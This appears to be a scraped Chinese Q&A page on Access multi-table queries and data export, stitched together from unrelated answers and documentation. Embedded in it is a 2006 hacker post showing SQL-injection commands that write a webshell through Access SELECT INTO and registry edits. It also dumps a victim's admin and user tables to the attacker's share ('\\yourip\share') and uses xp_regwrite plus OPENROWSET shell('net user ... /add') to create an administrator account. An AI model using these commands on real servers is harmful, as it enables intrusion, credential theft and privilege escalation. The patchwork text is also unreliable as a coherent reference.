ACCESS数据库多表查询及导出

作者&投稿:策诸 (若有异议请与网页底部的电邮联系)
oracle数据库多表连接查询~

以oracle使用rownum伪列实现分页为例:
三表连接分页示例代码如下:
select * from (select rownum r,k.kch,k.kcm,cj.cj,x.xh,x.xm from KCB k,CJB cj,XSB x where k.kch = cj.kch and cj.xh = x.xh and rownum0

特别注意这样外层查询时由于内层查询的字段有重复列名,所以内层查询最后不要用*。取完每一个表字段,这样很容易报错(“无效字段”)

1、Access 数据库多表联合查询,每次连接之前须将连接符前面的内容放在括号里面,示例如:select 表a.字段1,表b.字段1,表c.字段1,表d.字段1 from ((表a inner join 表b on 表a.字段=表b.字段) inner join 表c on 表c.字段=表a.字段)inner join 表d on 表a.字段=表d.字段
2、如果每个联合字段不止一个可将on后面条件加(),如:select 表a.字段1,表b.字段1,表c.字段1,表d.字段1 from (表a inner join 表b on (表a.字段1=表b.字段1 and 表a.字段2=表b.字段2)) inner join 表c on 表c.字段=表a.字段
3、如果要一次联合一个表多次,但条件不同,可以每次连接此表时给此表换个别名,用别名操作即可,如:select aa.字段1,表b.字段1,表c.字段1,bb.字段2 from ((表a as aa inner join 表b on aa.字段1=表b.字段) inner join 表c on 表c.字段=表a.字段)inner join 表a as bb on 表a.字段=bb.字段2.

SELECT * into [test.txt] in 'd:\web\' 'text;' from admin

执行上述语句,在d:\web目录下就会生成test.txt文件,其内容就是表admin的内容。但是导出asp格式就不行,会说“不能更新,数据库或对象为只读”。其实控制导出文件后缀是存储在注册表的,具体键值是HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines\Text\DisableExtension,默认情况下值为“!txt,csv,tab,asc,tmp,htm,html”,如果我们把asp也添加进去的话,呵呵,就可以导出asp格式的文件了。这个方法跟那个调用Access的Shell函数执行命令一样,要修改注册表,所以利用不是很大。顺便提一下,前面提到的导出文本文件的方法如果不知道web路径貌似可以导出到自己机器的哦:SELECT * into [test.txt] in '\\yourip\share' 'text;' from admin

当初没有注意到 SQL注入Access导出WebShell之后还有个问号,很激动的测试了一番,结果发现了一个问题:

在Text中加入asp格式,结果在生成的ASP文件中,所有字符形式的字段都是用引号包含的,即使字段是数值型的,用chr(数值字段)转换后,所看到的还是用引号包含的。这样的ASP文件只是名称符合而已,如何让其内容也符合呢?

在网上搜了一下,找到了Into的相关格式语句:

SELECT|INSERT]INTO destination IN{path|["path" "type"]|[""[type;DATABASE=path]]}FROM tableexpression IN{path|["path" "type"]|[""[type;DATABASE=path]]}

destination 欲插入数据的外部表格名称。

tableexpression 表格名称或是被读取数据的表格名称。这个参数可以是一个单一的表格名称,或是一段已经被存储的SQL查询等。

path 包含该表格的完整路径名称。

type 数据库的类型名称, 通常是当数据库部属于Jet database时才会使用。(例如:dBASE III,dBASE IV,Paradox 3.x,Paradox 4.x,或 Btrieve)

例如:下面这两段的意义相同

PartA....FROM Table IN ""[dBASE IV;DATABASE=C:\\DBASE\\DATA\\SALES;];

PartB....FROM Table IN "C:\\DBASE\\DATA\\SALES" "dBASE IV;"

看这里和lake2提出的语句很相似,呵呵,何止相似,应该就是吧!那么我将lake2的第一条语句改为如下内容:

SELECT * into [test] in 'd:\web\' 'dBASE IV;' from admin

结果在d:\web目录内生成了一个test.DBF文件,除了生成这种格式,还能生成什么格式呢?根据lake2提到的注册表路径,HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0

在其下的ISAM Formats\中显示了 ISAM格式.分别是:
dbase 5.0 dBASE 5 (*.dbf)
dbase III dBASE III (*.dbf)
dabse IV dBASE IV (*.dbf)
excel 3.0 Microsoft Excel 3 (*.xls)
excel 4.0 Microsoft Excel 4 (*.xls)
excel 5.0 Microsoft Excel 5-7 (*.xls)
excel 8.0 Microsoft Excel 97-2000 (*.xls)
exchange 4.0 Exchange() outlook程序
html export HTML 文档 (*.html;*.htm)
html import HTML 文档 (*.html;*.htm)
jet 2.x Jet 2.x
jet 3.x Jet 3.x
lotus wj2 Lotus 1-2-3 WJ2 (*.wj2)
lotus wj3 Lotus
Lotus WK1 Lotus 1-2-3 WK1 (*.wk1)
Lotus WK3 Lotus
Lotus WK4 Lotus
Outlook 9.0 Exchange
Paradox 3.X Paradox 3 (*.db)
Paradox 4.X Paradox 4 (*.db)
Paradox 5.X Paradox 5 (*.db)
Paradox 7.X Paradox 7-8 (*.db)
Text 文本文件 (*.txt;*.csv;*.tab;*.asc)

看,其中还可以生成xls格式,试一下,更改代码为:

select * into jmdcw in 'd:\web\' 'excel 4.0;' from admin

哈哈,又生成了一个xls格式(jmdcw.xls)的文件。

OK,我们打开这个xls格式的来看一下内容,其中的字符型字段并没有用引号包含,这样的话,是不是可以有所突码呢?

再看一下HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines下的各个键值,除了text中有DisableExtension这个项外,EXCEL和Lotus也有这个字符串项。lake2说的是在Text中增加,那么我加到Excel的这个值中,更改后的DisableExtension值为“!xls,asp”。如果这时执行导出命令,还是会出现“不能更新,数据库或对象为只读”。怎么解决呢?注销一下,就不出现错误了,执行:

select * into [test.asp] in 'd:\web\' 'excel 4.0;' from admin

注: 如果数据库名(excel或dbase)中只有一项,那么所生成的名称中就不用加入扩展名,否则如果是text的数据类型,就要加入扩展名。

执行后,在d:\web目录中生成了一个test.asp文件,将其在iis中运行,ASP的功能发挥出来了。

高兴,高兴的过早了,要生成asp有两个条件。1,在Access数据库环境中,是不可以执行多语句,用union?结果,出现了另一种错误,动作查询不能作为行的来源。2、需要更改注册表及让服务器注销或重启,而要能达到这样的要求,还用这么费劲生成asp文件吗,因为权力早就在webshell之上了。

唉,难怪lake2在标题的webshell后加了个?,鸡肋啊,就是鸡肋。

但这样的条件在sql环境内,却很好实现,因为连接 sql数据库的最低权限用户一般都具备执行多语句和修改注册表的权力,但将这样的语句放入sql的查询分析器中执行,却对那个in横挑鼻子竖挑眼,试了好长时间也没有一点进展,只好做罢!

不过,这个语句虽然不能生成webshell,但用来导出部分表中的内容,却是再好不过了,假设我们已经有了某个webshell了,其数据库有一二百兆,其用户表中的用户有1万,如果我们只要这个user表中的内容,如何做?我之前的日志中有一段复制数据的代码,但那个有些麻烦,而现在,只要这么一句,就可以得到指定表中的内容了,(注:只针对Access数据库),所执行的语句就是:

select * into [user] in 'd:\web\' 'excel 4.0;' from user

这样,我们只要下载这个user.xls,就可以看到user表中的内容了。哈哈,又一种导出Access数据库中部分表内容的方法出现了。

寂寞的刺猬 草写于2006年12月9日,我不想纪念什么,但没办法,有些记忆不会那么快就消失掉,这里用代码来做一个纪念吧!

在《X档案》上看到了一种用access得到系统权限的方法:

在取得sa权限的时候,先修改注册表:
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','Software\Microsoft\Jet\4.0\Engines','SandBoxmode','REG_DWORD',0

禁用沙盒模式,然后执行:

select * from openrowset('Microsoft.Jet.OLEDB.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("net user jm 123456 /add")');

这样就能增加一下jm用户了。然后再加入管理员组,就成管理员了。

附:
OPENROWSET
包含访问 OLE DB 数据源中的远程数据所需的全部连接信息。当访问链接服务器中的表时,这种方法是一种替代方法,并且是一种使用 OLE DB 连接并访问远程数据的一次性的、特殊的方法。可以在查询的 FROM 子句中像引用表名那样引用 OPENROWSET 函数。依据 OLE DB 提供程序的能力,还可以将 OPENROWSET 函数引用为 INSERT、UPDATE 或 DELETE 语句的目标表。尽管查询可能返回多个结果集,然而 OPENROWSET 只返回第一个。
语法
OPENROWSET ( 'provider_name'
, { 'datasource' ; 'user_id' ; 'password'
| 'provider_string' }
, { [ catalog.] [ schema.] object
| 'query' }
)

参数
'provider_name'

字符串,它代表在注册表中指定的 OLE DB 提供程序的友好名。provider_name 没有默认值。

'datasource'

字符串常量,它对应着某个特定的 OLE DB 数据源。datasource 是将被传递到提供程序 IDBProperties 接口以初始化提供程序的 DBPROP_INIT_DATASOURCE 属性。通常,这个字符串包含数据库文件的名称、数据库服务器的名称,或者提供程序能理解的用于查找数据库的名称。

'user_id'

字符串常量,它是传递到指定 OLE DB 提供程序的用户名。user_id 为连接指定安全上下文,并将它作为 DBPROP_AUTH_USERID 属性传递进来以初始化提供程序。

'password'

字符串常量,它是将被传递到 OLE DB 提供程序的用户密码。当初始化提供程序时,将 password 作为 DBPROP_AUTH_PASSWORD 属性传递进来。

'provider_string'

提供程序特定的连接字符串,将它作为 DBPROP_INIT_PROVIDERSTRING 属性传递进来以初始化 OLE DB 提供程序。通常 provider_string 封装初始化提供程序所需的所有连接信息。

catalog

目录或数据库的名称,其中驻留着指定的对象。

schema

架构的名称或指定对象的对象所有者名称。

object

对象名称,它唯一地标识出将要操作的对象。

'query'

是字符串常量,发送到提供程序并由提供程序执行。Microsoft® SQL Server™ 不处理该查询,但处理由提供程序返回的查询结果(直接传递查询)。对于有些提供程序,它们并没有通过表名而是通过命令语言表现自己的表格格式数据,那么将直接传递查询用于这些提供程序是非常有用的。只要查询提供程序支持 OLE DB Command 对象及其强制接口,那么在远程服务器上就支持直接传递查询。有关更多信息,请参见 SQL Server OLE DB 程序员参考。

注释
如果 OLE DB 提供程序在指定的数据源中支持多个目录和架构,那么就需要目录及架构名称。如果 OLE DB 提供程序并不支持目录和架构,那么可以省略 catalog 及 schema 的值。

如果提供程序只支持架构名,那么必须指定一个两部分名称,形式为 schema.object。如果提供程序只支持目录名,那么必须指定一个三部分名称,形式为 catalog.schema.object。

OPENROWSET 不接受参数变量。

权限
OPENROWSET 权限由传递到 OLE DB 提供程序的用户名的权限确定。

示例
A. 将 OPENROWSET 与 SELECT 语句及用于 SQL Server 的 Microsoft OLE DB 提供程序一起使用
下面的示例使用用于 SQL Server 的 Microsoft OLE DB 提供程序访问 pubs 数据库中的 authors 表,该数据库在一个名为 seattle1 的远程服务器上。从 datasource、user_id 及 password 中初始化提供程序,并且使用 SELECT 语句定义返回的行集。

USE pubs
GO
SELECT a.*
FROM OPENROWSET('SQLOLEDB','seattle1';'sa';'MyPass',
'SELECT * FROM pubs.dbo.authors ORDER BY au_lname, au_fname') AS a
GO

B. 将 OPENROWSET 与对象及用于 ODBC 的 OLE DB 提供程序一起使用
下面的示例使用用于 ODBC 的 OLE DB 提供程序以及 SQL Server ODBC 驱动程序访问 pubs 数据库中的 authors 表,该数据库在一个名为 seattle1 的远程服务器中。提供程序用在 ODBC 提供程序所用的 ODBC 语法中指定的 provider_string 进行初始化,定义返回的行集时使用 catalog.schema.object 语法。

USE pubs
GO
SELECT a.*
FROM OPENROWSET('MSDASQL',
'DRIVER={SQL Server};SERVER=seattle1;UID=sa;PWD=MyPass',
pubs.dbo.authors) AS a
ORDER BY a.au_lname, a.au_fname
GO

C. 使用用于 Jet 的 Microsoft OLE DB 提供程序
下面的示例通过用于 Jet 的 Microsoft OLE DB 提供程序访问 Microsoft Access Northwind 数据库中的 orders 表。

说明 下面的示例假定已经安装了 Access。

USE pubs
GO
SELECT a.*
FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',
'c:\MSOffice\Access\Samples\northwind.mdb';'admin';'mypwd', Orders)
AS a
GO

D. 使用 OPENROWSET 和 INNER JOIN 中的另一个表
下面的示例从本地 SQL Server Northwind 数据库的 customers 表中,以及存储在相同计算机上 Access Northwind 数据库的 orders 表中选择所有数据

说明 下面的示例假定已经安装了 Access。

USE pubs
GO
SELECT c.*, o.*
FROM Northwind.dbo.Customers AS c INNER JOIN
OPENROWSET('Microsoft.Jet.OLEDB.4.0',
'c:\MSOffice\Access\Samples\northwind.mdb';'admin';'mypwd', Orders)
AS o
ON c.CustomerID = o.CustomerID
GO

不是高手
想试试
syfjackey@163.com
如果能满足要求会给你回复,如果不行,继续关注~~
--------------
信已收到,
操作前确认:是否进行加密

Hi我,我帮你一下吧。


access不允许一个数据库包含多个表
错误。Access数据库中存在包括表在内的7种数据对象,每个数据库中都可包含若干个表。所以是错的。MicrosoftOfficeAccess是由微软发布的关系数据库管理系统。

access数据库最多能建多少行?
access表没有行数的限制,但是数据库的大小限制为2G,数据表能存储多少行记录取决于整个数据库的体积,只要未超过2G且磁盘空间足够的话就可以写入记录。根据对access数据库的使用经验,在不保存ole类型文件如图片、音乐等数据的情况下,access表保存个一两千万行记录一般不会有问题。

Access数据库最多大概能承受多少数据?
如果access接近1G左右的时候,会出现麻烦。老是用程序打开后,程序手动关闭也关闭不了。以前搞这个搞到我头晕,索性把access的都转换成sql了。不知道是不是我那个特例,还是普通情况都这样。

access数据库最大容量
Access数据库的最大容量取决于多个因素,但通常受到文件系统和数据库版本的限制。在较新的Access版本中(如Microsoft Access 2010及以后版本),单个Access数据库文件(.accdb格式)的最大大小约为2GB,而在早期版本中可能更小。然而,实际使用中可能会遇到由于系统资源、硬件限制或其他因素导致的更小限制。A...

access数据库默认值多出一行怎么办
没有主键。表没有主键,必须设置主键,当有2个数据行的数据是一样的时候,就无法判断到底应删除哪一行,所以报错,强制删除就会同时删除多项同样的数据。

accesS数据库 客户端工作过多
估计是打开的数据库链接都没有关闭或者同时连接数过多(据说一般大于50个会出现错误)造成的资源紧缺哈...解决方法:1) 优化代码, 每个conn用完都要关闭...2) 如果是同时在线人数过多造成的这个问题, 建议换数据库...SQL SERVER...

都说Access数据库最多支持 255 个并发用户,我现在又一个asp+Access数据...
ACCESS以独占形式存在,再多用户也只可以查看不可以编辑操作。改用SQL吧,ACCESS的ODBC库连接驱动很有用,可以把SQL当服务器,借用ACCESS的ODBC来交叉连接不同服务器不同数据库的数据。比B\/S架构方便得多。至于他支持多少用户微软是讲最多255,到底是不是没人实验过。也不会有人去这么做,太不方便了 ...

access数据库中一个表最多能定义多少个字段?
ACCESS数据库中一个表最多可以定义255个字段。它是由ACCESS规格所限制的。另外定义Microsoft Access字段时其字段名称应遵守如下规定:1)长度最多只能为 64 个字符。2)可以包含字母、数字、空格及特殊的字符(除句号 (.)、感叹号 (!)、重音符号 (`) 和方括号 ([ ]) 之外)的任意组合。3)不能以...

Access数据库最多能存多少条记录?
回答:存多少条记录不好说.不过我测试过,如果到百万条记录的时候,就不能在数据库里设置字段类型为(备注)类型了.但是,还是可以多加些记录,所以,access数据库的容量应该是按照存储容量来说的,而不是记录多少

access数据库中的什么是在一个或多个数据表中检索更新指定
access数据库中的操作查询是在一个或多个数据表中检索更新指定。根据查询相关公开信息显示,操作查询是在一次查询操作中对所得的结果进行编辑等操作,才能在一个或多个数据表中检索更新指定。

定襄县19741818040: 如何将access中的数据导出为EXCEL文件? -
宗政转宁芬: Access中确实具备直接导出Excel的功能,就日常使用来讲,将Access中的表、查询这两种对象导出Excel文件比较常见. 首先打开Access,找到你想要导出的表或者查询(两种对象的导出方法完全一样) 单击右键,选择导出Excel表 然后根据对话框提示,选择导出的路径 如果系统有如下提示,表示已经成功导出最后,可以去事先设定好的路径下查看导出的文件至此,Access导出Excel文件工作全部完成.

定襄县19741818040: ACCESS数据库中有多张表,如何导入到一张表中? -
宗政转宁芬: 1.建立一个 新查询 查询12.写上如下语句:select * from 表1union allselect * from 表2union allselect * from 表3....3.selelct * from 查询1 where year(年份字段)=X年

定襄县19741818040: ACCESS数据库中如何实现多表联合查询? -
宗政转宁芬: 使用SQL语句可查询.支持标准SQL语句. 追问: 老师你好 我现在做了3个表 但是我不知道该怎么把它们连起来 实现查询 回答: SQL语句不会用,请学习SQL语句使用帮助.有具体的表,说你想如何查询,发我.我可以帮你看一下. 追问: ...

定襄县19741818040: 求一个将access的数据库中的表中的数据导出成sql语句的方法或工具 -
宗政转宁芬: 把Access 数据导出到SQL Server的方法如下:1、打开ACCESS数据库,右键选中要导出的表TABLE1,选择导出,出现一个'将表TABLE1导出....'的对话框,在'保存类型(T)'下拉列表选中'ODBC Databases (),出现一个导出对话框...

定襄县19741818040: Access数据库怎么导出到Excel表文件 -
宗政转宁芬: 一、直接导入法1.启动Access,新建一数据库文件.2.在“表”选项中,执行“文件→获取外部数据→导入”命令,打开“导入”对话框.3.按“文件类型”右侧的下拉按钮,选中“Microsoft Excel(.xls)”选项,再定位到需要转换的工作簿文件...

定襄县19741818040: 如何用sql server语句实现将多表查询结果数据导出为xls格式? -
宗政转宁芬: 两种方法:1.可将多表查询结果插入到一个数据表中,然后将此表导成.xls的格式即可.关键是,先想好要存的表的数据字段.2.可将查询结果复制到excel中.具体做法是,查询出的结果,你先选中第一行,点击表内容最左端,然后按住shift键,再点击最后一行,然后复制,再粘贴到你的excel表中.

定襄县19741818040: 如何将access表或查询按每条记录分别导出到一个excel文件的多个表中 -
宗政转宁芬: Access好像并没有提供这种功能.但你可以在Excel上做文章,把一张表的内容分发到多个表中,如果记录较多,可以采用函数或程序来实现,应该不难.

定襄县19741818040: 如何将access数据库中筛选出的符合要求的数据导出 -
宗政转宁芬: select * into 新数据库数据库名.mdb' from 原数据库中的表 in '原数据库.mdb' where 条件这是个SQL语句啊,把它放在ACCESS的查询里面就可以执行了 例如:你原来的数据库是C:\A.MDB,其中的表Table1里面的数据要导出来,条件是字段M>5,导出的路径是C:\B.MDB中的表Table2 select * into table2 in 'C:\B.MDB' from table1 in 'C:\A.MDB' where M > 5

定襄县19741818040: access文件中多个表自动查询 -
宗政转宁芬: 1、不明白为什么要全部点一下查询,只需要的查看或作用数据的的时候查询就行了. 如果不用数据,点一下没有任何用途,查询只是展示数据 2.如果查询是一些修改数据的查询,可写一些语句循环到一个模块中用如 docmd.runsql "查询名1" docmd.runsql "查询名2" ......如果多个查询的名字是规律的,还可用循环,如 查询名1到查询名100共100个查询 for i=1 to 100docmd.runsql "查询名"&i next就可一次性执行全部查询

定襄县19741818040: access建立主表和子表,并将结果输出到一个excel -
宗政转宁芬: ACCESS数据表输出到CEXCEL技术上完全可行.数据量不大的情况下可以用手动或使用ACCESS导出命令予以实现.如果数据量很大或者数据整合到excel里的方式很复杂,那就要借助ACCESS VBA编程了.但是此类编程通常比较复杂,不...

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 星空见康网